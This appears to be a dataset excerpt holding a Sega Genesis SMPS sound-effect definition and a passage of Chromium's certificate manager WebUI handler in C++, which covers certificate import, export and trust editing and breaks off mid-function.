text stringlengths 1 1.05M |
|---|
Sound_8F_Header:
smpsHeaderStartSong 3
smpsHeaderVoice Sound_8F_Voices
smpsHeaderTempoSFX $01
smpsHeaderChanSFX $01
smpsHeaderSFXChannel cFM5, Sound_8F_FM5, $00, $04
; FM5 Data
Sound_8F_FM5:
smpsSetvoice $00
smpsModSet $01, $01, $C9, $F9
dc.b nG2, $05
Sound_8F_Loop00:
dc.b nC0, $04
smpsAlterPitch $01
smpsLoop $00, $0B, Sound_8F_Loop00
smpsStop
Sound_8F_Voices:
; Voice $00
; $F8
; $10, $30, $05, $30, $16, $1D, $1A, $1B, $12, $0E, $11, $04
; $11, $13, $09, $13, $1F, $1F, $4F, $2F, $5D, $80, $05, $80
smpsVcAlgorithm $00
smpsVcFeedback $07
smpsVcUnusedBits $03
smpsVcDetune $03, $00, $03, $01
smpsVcCoarseFreq $00, $05, $00, $00
smpsVcRateScale $00, $00, $00, $00
smpsVcAttackRate $1B, $1A, $1D, $16
smpsVcAmpMod $00, $00, $00, $00
smpsVcDecayRate1 $04, $11, $0E, $12
smpsVcDecayRate2 $13, $09, $13, $11
smpsVcDecayLevel $02, $04, $01, $01
smpsVcReleaseRate $0F, $0F, $0F, $0F
smpsVcTotalLevel $00, $05, $80, $5D
|
// Copyright (c) 2012 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#include "chrome/browser/ui/webui/options/certificate_manager_handler.h"
#include <errno.h>
#include <stddef.h>
#include <stdint.h>
#include <algorithm>
#include <map>
#include <utility>
#include "base/bind.h"
#include "base/bind_helpers.h"
#include "base/files/file_util.h" // for FileAccessProvider
#include "base/i18n/string_compare.h"
#include "base/id_map.h"
#include "base/macros.h"
#include "base/memory/scoped_vector.h"
#include "base/posix/safe_strerror.h"
#include "base/strings/string_number_conversions.h"
#include "base/strings/utf_string_conversions.h"
#include "base/values.h"
#include "build/build_config.h"
#include "chrome/browser/browser_process.h"
#include "chrome/browser/certificate_viewer.h"
#include "chrome/browser/profiles/profile.h"
#include "chrome/browser/ui/certificate_dialogs.h"
#include "chrome/browser/ui/chrome_select_file_policy.h"
#include "chrome/browser/ui/crypto_module_password_dialog_nss.h"
#include "chrome/browser/ui/webui/certificate_viewer_webui.h"
#include "chrome/grit/generated_resources.h"
#include "components/strings/grit/components_strings.h"
#include "content/public/browser/browser_thread.h"
#include "content/public/browser/web_contents.h"
#include "net/base/crypto_module.h"
#include "net/base/net_errors.h"
#include "net/cert/x509_certificate.h"
#include "net/der/input.h"
#include "net/der/parser.h"
#include "ui/base/l10n/l10n_util.h"
#if defined(OS_CHROMEOS)
#include "chrome/browser/chromeos/policy/user_network_configuration_updater.h"
#include "chrome/browser/chromeos/policy/user_network_configuration_updater_factory.h"
#endif
using base::UTF8ToUTF16;
using content::BrowserThread;
namespace {
static const char kKeyId[] = "id";
static const char kSubNodesId[] = "subnodes";
static const char kNameId[] = "name";
static const char kReadOnlyId[] = "readonly";
static const char kUntrustedId[] = "untrusted";
static const char kExtractableId[] = "extractable";
static const char kErrorId[] = "error";
static const char kPolicyTrustedId[] = "policy";
// Enumeration of different callers of SelectFile. (Start counting at 1 so
// if SelectFile is accidentally called with params=NULL it won't match any.)
enum {
EXPORT_PERSONAL_FILE_SELECTED = 1,
IMPORT_PERSONAL_FILE_SELECTED,
IMPORT_SERVER_FILE_SELECTED,
IMPORT_CA_FILE_SELECTED,
};
std::string OrgNameToId(const std::string& org) {
return "org-" + org;
}
bool CallbackArgsToBool(const base::ListValue* args, int index, bool* result) {
std::string string_value;
if (!args->GetString(index, &string_value))
return false;
*result = string_value[0] == 't';
return true;
}
struct DictionaryIdComparator {
explicit DictionaryIdComparator(icu::Collator* collator)
: collator_(collator) {
}
bool operator()(const std::unique_ptr<base::Value>& a,
const std::unique_ptr<base::Value>& b) const {
const base::DictionaryValue* a_dict;
bool a_is_dictionary = a->GetAsDictionary(&a_dict);
DCHECK(a_is_dictionary);
const base::DictionaryValue* b_dict;
bool b_is_dictionary = b->GetAsDictionary(&b_dict);
DCHECK(b_is_dictionary);
base::string16 a_str;
base::string16 b_str;
a_dict->GetString(kNameId, &a_str);
b_dict->GetString(kNameId, &b_str);
if (collator_ == NULL)
return a_str < b_str;
return base::i18n::CompareString16WithCollator(*collator_, a_str, b_str) ==
UCOL_LESS;
}
icu::Collator* collator_;
};
std::string NetErrorToString(int net_error) {
switch (net_error) {
// TODO(mattm): handle more cases.
case net::ERR_IMPORT_CA_CERT_NOT_CA:
return l10n_util::GetStringUTF8(IDS_CERT_MANAGER_ERROR_NOT_CA);
case net::ERR_IMPORT_CERT_ALREADY_EXISTS:
return l10n_util::GetStringUTF8(
IDS_CERT_MANAGER_ERROR_CERT_ALREADY_EXISTS);
default:
return l10n_util::GetStringUTF8(IDS_CERT_MANAGER_UNKNOWN_ERROR);
}
}
// Struct to bind the Equals member function to an object for use in find_if.
struct CertEquals {
explicit CertEquals(const net::X509Certificate* cert) : cert_(cert) {}
bool operator()(const scoped_refptr<net::X509Certificate> cert) const {
return cert_->Equals(cert.get());
}
const net::X509Certificate* cert_;
};
// Determine whether a certificate was stored with web trust by a policy.
bool IsPolicyInstalledWithWebTrust(
const net::CertificateList& web_trust_certs,
net::X509Certificate* cert) {
return std::find_if(web_trust_certs.begin(), web_trust_certs.end(),
CertEquals(cert)) != web_trust_certs.end();
}
#if defined(OS_CHROMEOS)
void ShowCertificateViewerModalDialog(content::WebContents* web_contents,
gfx::NativeWindow parent,
net::X509Certificate* cert) {
CertificateViewerModalDialog* dialog = new CertificateViewerModalDialog(cert);
dialog->Show(web_contents, parent);
}
#endif
// Determine if |data| could be a PFX Protocol Data Unit.
// This only does the minimum parsing necessary to distinguish a PFX file from a
// DER encoded Certificate.
//
// From RFC 7292 section 4:
// PFX ::= SEQUENCE {
// version INTEGER {v3(3)}(v3,...),
// authSafe ContentInfo,
// macData MacData OPTIONAL
// }
// From RFC 5280 section 4.1:
// Certificate ::= SEQUENCE {
// tbsCertificate TBSCertificate,
// signatureAlgorithm AlgorithmIdentifier,
// signatureValue BIT STRING }
//
// Certificate must be DER encoded, while PFX may be BER encoded.
// Therefore PFX can be distingushed by checking if the file starts with an
// indefinite SEQUENCE, or a definite SEQUENCE { INTEGER, ... }.
bool CouldBePFX(const std::string& data) {
if (data.size() < 4)
return false;
// Indefinite length SEQUENCE.
if (data[0] == 0x30 && static_cast<uint8_t>(data[1]) == 0x80)
return true;
// If the SEQUENCE is definite length, it can be parsed through the version
// tag using DER parser, since INTEGER must be definite length, even in BER.
net::der::Parser parser((net::der::Input(&data)));
net::der::Parser sequence_parser;
if (!parser.ReadSequence(&sequence_parser))
return false;
if (!sequence_parser.SkipTag(net::der::kInteger))
return false;
return true;
}
} // namespace
namespace options {
///////////////////////////////////////////////////////////////////////////////
// CertIdMap
class CertIdMap {
public:
CertIdMap() {}
~CertIdMap() {}
std::string CertToId(net::X509Certificate* cert);
net::X509Certificate* IdToCert(const std::string& id);
net::X509Certificate* CallbackArgsToCert(const base::ListValue* args);
private:
typedef std::map<net::X509Certificate*, int32_t> CertMap;
// Creates an ID for cert and looks up the cert for an ID.
IDMap<net::X509Certificate>id_map_;
// Finds the ID for a cert.
CertMap cert_map_;
DISALLOW_COPY_AND_ASSIGN(CertIdMap);
};
std::string CertIdMap::CertToId(net::X509Certificate* cert) {
CertMap::const_iterator iter = cert_map_.find(cert);
if (iter != cert_map_.end())
return base::IntToString(iter->second);
int32_t new_id = id_map_.Add(cert);
cert_map_[cert] = new_id;
return base::IntToString(new_id);
}
net::X509Certificate* CertIdMap::IdToCert(const std::string& id) {
int32_t cert_id = 0;
if (!base::StringToInt(id, &cert_id))
return NULL;
return id_map_.Lookup(cert_id);
}
net::X509Certificate* CertIdMap::CallbackArgsToCert(
const base::ListValue* args) {
std::string node_id;
if (!args->GetString(0, &node_id))
return NULL;
net::X509Certificate* cert = IdToCert(node_id);
if (!cert) {
NOTREACHED();
return NULL;
}
return cert;
}
///////////////////////////////////////////////////////////////////////////////
// FileAccessProvider
// TODO(mattm): Move to some shared location?
class FileAccessProvider
: public base::RefCountedThreadSafe<FileAccessProvider> {
public:
// The first parameter is 0 on success or errno on failure. The second
// parameter is read result.
typedef base::Callback<void(const int*, const std::string*)> ReadCallback;
// The first parameter is 0 on success or errno on failure. The second
// parameter is the number of bytes written on success.
typedef base::Callback<void(const int*, const int*)> WriteCallback;
base::CancelableTaskTracker::TaskId StartRead(
const base::FilePath& path,
const ReadCallback& callback,
base::CancelableTaskTracker* tracker);
base::CancelableTaskTracker::TaskId StartWrite(
const base::FilePath& path,
const std::string& data,
const WriteCallback& callback,
base::CancelableTaskTracker* tracker);
private:
friend class base::RefCountedThreadSafe<FileAccessProvider>;
virtual ~FileAccessProvider() {}
// Reads file at |path|. |saved_errno| is 0 on success or errno on failure.
// When success, |data| has file content.
void DoRead(const base::FilePath& path,
int* saved_errno,
std::string* data);
// Writes data to file at |path|. |saved_errno| is 0 on success or errno on
// failure. When success, |bytes_written| has number of bytes written.
void DoWrite(const base::FilePath& path,
const std::string& data,
int* saved_errno,
int* bytes_written);
};
base::CancelableTaskTracker::TaskId FileAccessProvider::StartRead(
const base::FilePath& path,
const ReadCallback& callback,
base::CancelableTaskTracker* tracker) {
// Owned by reply callback posted below.
int* saved_errno = new int(0);
std::string* data = new std::string();
// Post task to file thread to read file.
return tracker->PostTaskAndReply(
BrowserThread::GetTaskRunnerForThread(BrowserThread::FILE).get(),
FROM_HERE,
base::Bind(&FileAccessProvider::DoRead, this, path, saved_errno, data),
base::Bind(callback, base::Owned(saved_errno), base::Owned(data)));
}
base::CancelableTaskTracker::TaskId FileAccessProvider::StartWrite(
const base::FilePath& path,
const std::string& data,
const WriteCallback& callback,
base::CancelableTaskTracker* tracker) {
// Owned by reply callback posted below.
int* saved_errno = new int(0);
int* bytes_written = new int(0);
// Post task to file thread to write file.
return tracker->PostTaskAndReply(
BrowserThread::GetTaskRunnerForThread(BrowserThread::FILE).get(),
FROM_HERE, base::Bind(&FileAccessProvider::DoWrite, this, path, data,
saved_errno, bytes_written),
base::Bind(callback, base::Owned(saved_errno),
base::Owned(bytes_written)));
}
void FileAccessProvider::DoRead(const base::FilePath& path,
int* saved_errno,
std::string* data) {
bool success = base::ReadFileToString(path, data);
*saved_errno = success ? 0 : errno;
}
void FileAccessProvider::DoWrite(const base::FilePath& path,
const std::string& data,
int* saved_errno,
int* bytes_written) {
*bytes_written = base::WriteFile(path, data.data(), data.size());
*saved_errno = *bytes_written >= 0 ? 0 : errno;
}
///////////////////////////////////////////////////////////////////////////////
// CertificateManagerHandler
CertificateManagerHandler::CertificateManagerHandler(
bool show_certs_in_modal_dialog)
: show_certs_in_modal_dialog_(show_certs_in_modal_dialog),
requested_certificate_manager_model_(false),
use_hardware_backed_(false),
file_access_provider_(new FileAccessProvider()),
cert_id_map_(new CertIdMap),
weak_ptr_factory_(this) {}
CertificateManagerHandler::~CertificateManagerHandler() {
}
void CertificateManagerHandler::GetLocalizedValues(
base::DictionaryValue* localized_strings) {
DCHECK(localized_strings);
RegisterTitle(localized_strings, "certificateManagerPage",
IDS_CERTIFICATE_MANAGER_TITLE);
// Tabs.
localized_strings->SetString("personalCertsTabTitle",
l10n_util::GetStringUTF16(IDS_CERT_MANAGER_PERSONAL_CERTS_TAB_LABEL));
localized_strings->SetString("serverCertsTabTitle",
l10n_util::GetStringUTF16(IDS_CERT_MANAGER_SERVER_CERTS_TAB_LABEL));
localized_strings->SetString("caCertsTabTitle",
l10n_util::GetStringUTF16(IDS_CERT_MANAGER_CERT_AUTHORITIES_TAB_LABEL));
localized_strings->SetString("otherCertsTabTitle",
l10n_util::GetStringUTF16(IDS_CERT_MANAGER_OTHER_TAB_LABEL));
// Tab descriptions.
localized_strings->SetString("personalCertsTabDescription",
l10n_util::GetStringUTF16(IDS_CERT_MANAGER_USER_TREE_DESCRIPTION));
localized_strings->SetString("serverCertsTabDescription",
l10n_util::GetStringUTF16(IDS_CERT_MANAGER_SERVER_TREE_DESCRIPTION));
localized_strings->SetString("caCertsTabDescription",
l10n_util::GetStringUTF16(IDS_CERT_MANAGER_AUTHORITIES_TREE_DESCRIPTION));
localized_strings->SetString("otherCertsTabDescription",
l10n_util::GetStringUTF16(IDS_CERT_MANAGER_OTHER_TREE_DESCRIPTION));
// Buttons.
localized_strings->SetString("view_certificate",
l10n_util::GetStringUTF16(IDS_CERT_MANAGER_VIEW_CERT_BUTTON));
localized_strings->SetString("import_certificate",
l10n_util::GetStringUTF16(IDS_CERT_MANAGER_IMPORT_BUTTON));
localized_strings->SetString("export_certificate",
l10n_util::GetStringUTF16(IDS_CERT_MANAGER_EXPORT_BUTTON));
localized_strings->SetString("edit_certificate",
l10n_util::GetStringUTF16(IDS_CERT_MANAGER_EDIT_BUTTON));
localized_strings->SetString("delete_certificate",
l10n_util::GetStringUTF16(IDS_CERT_MANAGER_DELETE_BUTTON));
// Certificate Delete overlay strings.
localized_strings->SetString("personalCertsTabDeleteConfirm",
l10n_util::GetStringUTF16(IDS_CERT_MANAGER_DELETE_USER_FORMAT));
localized_strings->SetString("personalCertsTabDeleteImpact",
l10n_util::GetStringUTF16(IDS_CERT_MANAGER_DELETE_USER_DESCRIPTION));
localized_strings->SetString("serverCertsTabDeleteConfirm",
l10n_util::GetStringUTF16(IDS_CERT_MANAGER_DELETE_SERVER_FORMAT));
localized_strings->SetString("serverCertsTabDeleteImpact",
l10n_util::GetStringUTF16(IDS_CERT_MANAGER_DELETE_SERVER_DESCRIPTION));
localized_strings->SetString("caCertsTabDeleteConfirm",
l10n_util::GetStringUTF16(IDS_CERT_MANAGER_DELETE_CA_FORMAT));
localized_strings->SetString("caCertsTabDeleteImpact",
l10n_util::GetStringUTF16(IDS_CERT_MANAGER_DELETE_CA_DESCRIPTION));
localized_strings->SetString("otherCertsTabDeleteConfirm",
l10n_util::GetStringUTF16(IDS_CERT_MANAGER_DELETE_OTHER_FORMAT));
localized_strings->SetString("otherCertsTabDeleteImpact", std::string());
// Certificate Restore overlay strings.
localized_strings->SetString("certificateRestorePasswordDescription",
l10n_util::GetStringUTF16(IDS_CERT_MANAGER_RESTORE_PASSWORD_DESC));
localized_strings->SetString("certificatePasswordLabel",
l10n_util::GetStringUTF16(IDS_CERT_MANAGER_PASSWORD_LABEL));
// Personal Certificate Export overlay strings.
localized_strings->SetString("certificateExportPasswordDescription",
l10n_util::GetStringUTF16(IDS_CERT_MANAGER_EXPORT_PASSWORD_DESC));
localized_strings->SetString("certificateExportPasswordHelp",
l10n_util::GetStringUTF16(IDS_CERT_MANAGER_EXPORT_PASSWORD_HELP));
localized_strings->SetString("certificateConfirmPasswordLabel",
l10n_util::GetStringUTF16(IDS_CERT_MANAGER_CONFIRM_PASSWORD_LABEL));
// Edit CA Trust & Import CA overlay strings.
localized_strings->SetString("certificateEditCaTitle",
l10n_util::GetStringUTF16(IDS_CERT_MANAGER_EDIT_CA_TITLE));
localized_strings->SetString("certificateEditTrustLabel",
l10n_util::GetStringUTF16(IDS_CERT_MANAGER_EDIT_TRUST_LABEL));
localized_strings->SetString("certificateEditCaTrustDescriptionFormat",
l10n_util::GetStringUTF16(
IDS_CERT_MANAGER_EDIT_CA_TRUST_DESCRIPTION_FORMAT));
localized_strings->SetString("certificateImportCaDescriptionFormat",
l10n_util::GetStringUTF16(
IDS_CERT_MANAGER_IMPORT_CA_DESCRIPTION_FORMAT));
localized_strings->SetString("certificateCaTrustSSLLabel",
l10n_util::GetStringUTF16(IDS_CERT_MANAGER_EDIT_CA_TRUST_SSL_LABEL));
localized_strings->SetString("certificateCaTrustEmailLabel",
l10n_util::GetStringUTF16(IDS_CERT_MANAGER_EDIT_CA_TRUST_EMAIL_LABEL));
localized_strings->SetString("certificateCaTrustObjSignLabel",
l10n_util::GetStringUTF16(IDS_CERT_MANAGER_EDIT_CA_TRUST_OBJSIGN_LABEL));
localized_strings->SetString("certificateImportErrorFormat",
l10n_util::GetStringUTF16(IDS_CERT_MANAGER_IMPORT_ERROR_FORMAT));
// Badges next to certificates
localized_strings->SetString("badgeCertUntrusted",
l10n_util::GetStringUTF16(IDS_CERT_MANAGER_UNTRUSTED));
localized_strings->SetString("certPolicyInstalled",
l10n_util::GetStringUTF16(IDS_CERT_MANAGER_POLICY_INSTALLED));
#if defined(OS_CHROMEOS)
localized_strings->SetString("importAndBindCertificate",
l10n_util::GetStringUTF16(IDS_CERT_MANAGER_IMPORT_AND_BIND_BUTTON));
#endif // defined(OS_CHROMEOS)
}
void CertificateManagerHandler::RegisterMessages() {
web_ui()->RegisterMessageCallback(
"viewCertificate",
base::Bind(&CertificateManagerHandler::View, base::Unretained(this)));
web_ui()->RegisterMessageCallback(
"getCaCertificateTrust",
base::Bind(&CertificateManagerHandler::GetCATrust,
base::Unretained(this)));
web_ui()->RegisterMessageCallback(
"editCaCertificateTrust",
base::Bind(&CertificateManagerHandler::EditCATrust,
base::Unretained(this)));
web_ui()->RegisterMessageCallback(
"editServerCertificate",
base::Bind(&CertificateManagerHandler::EditServer,
base::Unretained(this)));
web_ui()->RegisterMessageCallback(
"cancelImportExportCertificate",
base::Bind(&CertificateManagerHandler::CancelImportExportProcess,
base::Unretained(this)));
web_ui()->RegisterMessageCallback(
"exportPersonalCertificate",
base::Bind(&CertificateManagerHandler::ExportPersonal,
base::Unretained(this)));
web_ui()->RegisterMessageCallback(
"exportAllPersonalCertificates",
base::Bind(&CertificateManagerHandler::ExportAllPersonal,
base::Unretained(this)));
web_ui()->RegisterMessageCallback(
"exportPersonalCertificatePasswordSelected",
base::Bind(&CertificateManagerHandler::ExportPersonalPasswordSelected,
base::Unretained(this)));
web_ui()->RegisterMessageCallback(
"importPersonalCertificate",
base::Bind(&CertificateManagerHandler::StartImportPersonal,
base::Unretained(this)));
web_ui()->RegisterMessageCallback(
"importPersonalCertificatePasswordSelected",
base::Bind(&CertificateManagerHandler::ImportPersonalPasswordSelected,
base::Unretained(this)));
web_ui()->RegisterMessageCallback(
"importCaCertificate",
base::Bind(&CertificateManagerHandler::ImportCA,
base::Unretained(this)));
web_ui()->RegisterMessageCallback(
"importCaCertificateTrustSelected",
base::Bind(&CertificateManagerHandler::ImportCATrustSelected,
base::Unretained(this)));
web_ui()->RegisterMessageCallback(
"importServerCertificate",
base::Bind(&CertificateManagerHandler::ImportServer,
base::Unretained(this)));
web_ui()->RegisterMessageCallback(
"exportCertificate",
base::Bind(&CertificateManagerHandler::Export,
base::Unretained(this)));
web_ui()->RegisterMessageCallback(
"deleteCertificate",
base::Bind(&CertificateManagerHandler::Delete,
base::Unretained(this)));
web_ui()->RegisterMessageCallback(
"populateCertificateManager",
base::Bind(&CertificateManagerHandler::Populate,
base::Unretained(this)));
}
void CertificateManagerHandler::CertificatesRefreshed() {
net::CertificateList web_trusted_certs;
#if defined(OS_CHROMEOS)
policy::UserNetworkConfigurationUpdater* service =
policy::UserNetworkConfigurationUpdaterFactory::GetForProfile(
Profile::FromWebUI(web_ui()));
if (service)
service->GetWebTrustedCertificates(&web_trusted_certs);
#endif
PopulateTree("personalCertsTab", net::USER_CERT, web_trusted_certs);
PopulateTree("serverCertsTab", net::SERVER_CERT, web_trusted_certs);
PopulateTree("caCertsTab", net::CA_CERT, web_trusted_certs);
PopulateTree("otherCertsTab", net::OTHER_CERT, web_trusted_certs);
}
void CertificateManagerHandler::FileSelected(const base::FilePath& path,
int index,
void* params) {
switch (reinterpret_cast<intptr_t>(params)) {
case EXPORT_PERSONAL_FILE_SELECTED:
ExportPersonalFileSelected(path);
break;
case IMPORT_PERSONAL_FILE_SELECTED:
ImportPersonalFileSelected(path);
break;
case IMPORT_SERVER_FILE_SELECTED:
ImportServerFileSelected(path);
break;
case IMPORT_CA_FILE_SELECTED:
ImportCAFileSelected(path);
break;
default:
NOTREACHED();
}
}
void CertificateManagerHandler::FileSelectionCanceled(void* params) {
switch (reinterpret_cast<intptr_t>(params)) {
case EXPORT_PERSONAL_FILE_SELECTED:
case IMPORT_PERSONAL_FILE_SELECTED:
case IMPORT_SERVER_FILE_SELECTED:
case IMPORT_CA_FILE_SELECTED:
ImportExportCleanup();
break;
default:
NOTREACHED();
}
}
void CertificateManagerHandler::View(const base::ListValue* args) {
net::X509Certificate* cert = cert_id_map_->CallbackArgsToCert(args);
if (!cert)
return;
#if defined(OS_CHROMEOS)
if (show_certs_in_modal_dialog_) {
ShowCertificateViewerModalDialog(web_ui()->GetWebContents(),
GetParentWindow(),
cert);
return;
}
#endif
ShowCertificateViewer(web_ui()->GetWebContents(), GetParentWindow(), cert);
}
void CertificateManagerHandler::GetCATrust(const base::ListValue* args) {
net::X509Certificate* cert = cert_id_map_->CallbackArgsToCert(args);
if (!cert) {
web_ui()->CallJavascriptFunctionUnsafe(
"CertificateEditCaTrustOverlay.dismiss");
return;
}
net::NSSCertDatabase::TrustBits trust_bits =
certificate_manager_model_->cert_db()->GetCertTrust(cert, net::CA_CERT);
base::FundamentalValue ssl_value(
static_cast<bool>(trust_bits & net::NSSCertDatabase::TRUSTED_SSL));
base::FundamentalValue email_value(
static_cast<bool>(trust_bits & net::NSSCertDatabase::TRUSTED_EMAIL));
base::FundamentalValue obj_sign_value(
static_cast<bool>(trust_bits & net::NSSCertDatabase::TRUSTED_OBJ_SIGN));
web_ui()->CallJavascriptFunctionUnsafe(
"CertificateEditCaTrustOverlay.populateTrust", ssl_value, email_value,
obj_sign_value);
}
void CertificateManagerHandler::EditCATrust(const base::ListValue* args) {
net::X509Certificate* cert = cert_id_map_->CallbackArgsToCert(args);
bool fail = !cert;
bool trust_ssl = false;
bool trust_email = false;
bool trust_obj_sign = false;
fail |= !CallbackArgsToBool(args, 1, &trust_ssl);
fail |= !CallbackArgsToBool(args, 2, &trust_email);
fail |= !CallbackArgsToBool(args, 3, &trust_obj_sign);
if (fail) {
LOG(ERROR) << "EditCATrust args fail";
web_ui()->CallJavascriptFunctionUnsafe(
"CertificateEditCaTrustOverlay.dismiss");
return;
}
bool result = certificate_manager_model_->SetCertTrust(
cert,
net::CA_CERT,
trust_ssl * net::NSSCertDatabase::TRUSTED_SSL +
trust_email * net::NSSCertDatabase::TRUSTED_EMAIL +
trust_obj_sign * net::NSSCertDatabase::TRUSTED_OBJ_SIGN);
web_ui()->CallJavascriptFunctionUnsafe(
"CertificateEditCaTrustOverlay.dismiss");
if (!result) {
// TODO(mattm): better error messages?
ShowError(
l10n_util::GetStringUTF8(IDS_CERT_MANAGER_SET_TRUST_ERROR_TITLE),
l10n_util::GetStringUTF8(IDS_CERT_MANAGER_UNKNOWN_ERROR));
}
}
void CertificateManagerHandler::EditServer(const base::ListValue* args) {
NOTIMPLEMENTED();
}
void CertificateManagerHandler::ExportPersonal(const base::ListValue* args) {
net::X509Certificate* cert = cert_id_map_->CallbackArgsToCert(args);
if (!cert)
return;
selected_cert_list_.push_back(cert);
ui::SelectFileDialog::FileTypeInfo file_type_info;
file_type_info.extensions.resize(1);
file_type_info.extensions[0].push_back(FILE_PATH_LITERAL("p12"));
file_type_info.extension_description_overrides.push_back(
l10n_util::GetStringUTF16(IDS_CERT_MANAGER_PKCS12_FILES));
file_type_info.include_all_files = true;
select_file_dialog_ = ui::SelectFileDialog::Create(
this, new ChromeSelectFilePolicy(web_ui()->GetWebContents()));
select_file_dialog_->SelectFile(
ui::SelectFileDialog::SELECT_SAVEAS_FILE, base::string16(),
base::FilePath(), &file_type_info, 1, FILE_PATH_LITERAL("p12"),
GetParentWindow(),
reinterpret_cast<void*>(EXPORT_PERSONAL_FILE_SELECTED));
}
void CertificateManagerHandler::ExportAllPersonal(const base::ListValue* args) {
NOTIMPLEMENTED();
}
void CertificateManagerHandler::ExportPersonalFileSelected(
const base::FilePath& path) {
file_path_ = path;
web_ui()->CallJavascriptFunctionUnsafe(
"CertificateManager.exportPersonalAskPassword");
}
void CertificateManagerHandler::ExportPersonalPasswordSelected(
const base::ListValue* args) {
if (!args->GetString(0, &password_)) {
web_ui()->CallJavascriptFunctionUnsafe("CertificateRestoreOverlay.dismiss");
ImportExportCleanup();
return;
}
// Currently, we don't support exporting more than one at a time. If we do,
// this would need to either change this to use UnlockSlotsIfNecessary or
// change UnlockCertSlotIfNecessary to take a CertificateList.
DCHECK_EQ(selected_cert_list_.size(), 1U);
// TODO(mattm): do something smarter about non-extractable keys
chrome::UnlockCertSlotIfNecessary(
selected_cert_list_[0].get(),
chrome::kCryptoModulePasswordCertExport,
net::HostPortPair(), // unused.
GetParentWindow(),
base::Bind(&CertificateManagerHandler::ExportPersonalSlotsUnlocked,
base::Unretained(this)));
}
void CertificateManagerHandler::ExportPersonalSlotsUnlocked() {
std::string output;
int num_exported = certificate_manager_model_->cert_db()->ExportToPKCS12(
selected_cert_list_,
password_,
&output);
if (!num_exported) {
web_ui()->CallJavascriptFunctionUnsafe("CertificateRestoreOverlay.dismiss");
ShowError(
l10n_util::GetStringUTF8(IDS_CERT_MANAGER_PKCS12_EXPORT_ERROR_TITLE),
l10n_util::GetStringUTF8(IDS_CERT_MANAGER_UNKNOWN_ERROR));
ImportExportCleanup();
return;
}
file_access_provider_->StartWrite(
file_path_,
output,
base::Bind(&CertificateManagerHandler::ExportPersonalFileWritten,
base::Unretained(this)),
&tracker_);
}
void CertificateManagerHandler::ExportPersonalFileWritten(
const int* write_errno, const int* bytes_written) {
web_ui()->CallJavascriptFunctionUnsafe("CertificateRestoreOverlay.dismiss");
ImportExportCleanup();
if (*write_errno) {
ShowError(
l10n_util::GetStringUTF8(IDS_CERT_MANAGER_PKCS12_EXPORT_ERROR_TITLE),
l10n_util::GetStringFUTF8(IDS_CERT_MANAGER_WRITE_ERROR_FORMAT,
UTF8ToUTF16(
base::safe_strerror(*write_errno))));
}
}
void CertificateManagerHandler::StartImportPersonal(
const base::ListValue* args) {
ui::SelectFileDialog::FileTypeInfo file_type_info;
if (!args->GetBoolean(0, &use_hardware_backed_)) {
// Unable to retrieve the hardware backed attribute from the args,
// so bail.
web_ui()->CallJavascriptFunctionUnsafe("CertificateRestoreOverlay.dismiss");
ImportExportCleanup();
return;
}
file_type_info.extensions.resize(1);
file_type_info.extensions[0].push_back(FILE_PATH_LITERAL("p12"));
file_type_info.extensions[0].push_back(FILE_PATH_LITERAL("pfx"));
file_type_info.extensions[0].push_back(FILE_PATH_LITERAL("crt"));
file_type_info.extension_description_overrides.push_back(
l10n_util::GetStringUTF16(IDS_CERT_USAGE_SSL_CLIENT));
file_type_info.include_all_files = true;
select_file_dialog_ = ui::SelectFileDialog::Create(
this, new ChromeSelectFilePolicy(web_ui()->GetWebContents()));
select_file_dialog_->SelectFile(
ui::SelectFileDialog::SELECT_OPEN_FILE, base::string16(),
base::FilePath(), &file_type_info, 1, FILE_PATH_LITERAL("p12"),
GetParentWindow(),
reinterpret_cast<void*>(IMPORT_PERSONAL_FILE_SELECTED));
}
void CertificateManagerHandler::ImportPersonalFileSelected(
const base::FilePath& path) {
file_access_provider_->StartRead(
path, base::Bind(&CertificateManagerHandler::ImportPersonalFileRead,
base::Unretained(this)),
&tracker_);
}
void CertificateManagerHandler::ImportPersonalFileRead(
const int* read_errno, const std::string* data) {
if (*read_errno) {
ImportExportCleanup();
web_ui()->CallJavascriptFunctionUnsafe("CertificateRestoreOverlay.dismiss");
ShowError(
l10n_util::GetStringUTF8(IDS_CERT_MANAGER_IMPORT_ERROR_TITLE),
l10n_util::GetStringFUTF8(IDS_CERT_MANAGER_READ_ERROR_FORMAT,
UTF8ToUTF16(
base::safe_strerror(*read_errno))));
return;
}
file_data_ = *data;
if (CouldBePFX(file_data_)) {
web_ui()->CallJavascriptFunctionUnsafe(
"CertificateManager.importPersonalAskPassword");
return;
}
// Non .p12/.pfx files are assumed to be single/chain certificates without
// private key data. The default extension according to spec is '.crt',
// however other extensions are also used in some places to represent these
// certificates.
int result = certificate_manager_model_->ImportUserCert(file_data_);
ImportExportCleanup();
web_ui()->CallJavascriptFunctionUnsafe("CertificateRestoreOverlay.dismiss");
int string_id;
switch (result) {
case net::OK:
return;
case net::ERR_NO_PRIVATE_KEY_FOR_CERT:
string_id = IDS_CERT_MANAGER_IMPORT_MISSING_KEY;
break;
case net::ERR_CERT_INVALID:
string_id = IDS_CERT_MANAGER_IMPORT_INVALID_FILE;
break;
default:
string_id = IDS_CERT_MANAGER_UNKNOWN_ERROR;
break;
}
ShowError(
l10n_util::GetStringUTF8(IDS_CERT_MANAGER_IMPORT_ERROR_TITLE),
l10n_util::GetStringUTF8(string_id));
}
void CertificateManagerHandler::ImportPersonalPasswordSelected(
const base::ListValue* args) {
if (!args->GetString(0, &password_)) {
web_ui()->CallJavascriptFunctionUnsafe("CertificateRestoreOverlay.dismiss");
ImportExportCleanup();
return;
}
if (use_hardware_backed_) {
module_ = certificate_manager_model_->cert_db()->GetPrivateModule();
} else {
module_ = certificate_manager_model_->cert_db()->GetPublicModule();
}
net::CryptoModuleList modules;
modules.push_back(module_);
chrome::UnlockSlotsIfNecessary(
modules,
chrome::kCryptoModulePasswordCertImport,
net::HostPortPair(), // unused.
GetParentWindow(),
base::Bind(&CertificateManagerHandler::ImportPersonalSlotUnlocked,
base::Unretained(this)));
}
void CertificateManagerHandler::ImportPersonalSlotUnlocked() {
// Determine if the private key should be unextractable after the import.
// We do this by checking the value of |use_hardware_backed_| which is set
// to true if importing into a hardware module. Currently, this only happens
// for Chrome OS when the "Import and Bind" option is chosen.
bool is_extractable = !use_hardware_backed_;
int result = certificate_manager_model_->ImportFromPKCS12(
module_.get(), file_data_, password_, is_extractable);
ImportExportCleanup();
web_ui()->CallJavascriptFunctionUnsafe("CertificateRestoreOverlay.dismiss");
int string_id;
switch (result) {
case net::OK:
return;
